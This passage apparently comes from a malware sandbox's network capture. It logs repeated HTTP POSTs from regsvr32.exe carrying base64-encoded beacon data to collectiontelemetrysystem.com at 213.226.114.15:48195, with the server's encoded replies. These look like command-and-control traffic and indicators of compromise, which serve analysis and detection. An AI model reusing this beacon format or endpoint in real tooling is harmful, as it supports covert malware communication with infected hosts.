Jun 16, 2022 20:32:08.748730898 CEST	3966	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:08.968558073 CEST	3966	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:08 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	49875	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:29.877003908 CEST	12053	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:30.108809948 CEST	12056	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:29 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.3	49877	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:30.345601082 CEST	12058	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:30.571371078 CEST	12061	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:30 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.3	49880	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:30.821877956 CEST	12063	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:31.048096895 CEST	12065	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:30 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.3	49882	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:31.315263987 CEST	12068	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:31.529675007 CEST	12070	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:31 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.3	49884	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:31.766496897 CEST	12072	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:31.973606110 CEST	12074	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:31 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.3	49886	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:32.201956987 CEST	12077	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:32.427290916 CEST	12077	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:32 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.3	49887	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:32.667603970 CEST	12078	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:32.872289896 CEST	12079	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:32 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.3	49888	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:33.115849018 CEST	12080	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:33.328777075 CEST	12080	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:33 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.3	49889	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:33.569108963 CEST	12082	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:33.800802946 CEST	12083	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:33 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.3	49891	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:34.052495956 CEST	12088	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:34.298608065 CEST	12088	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:33 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
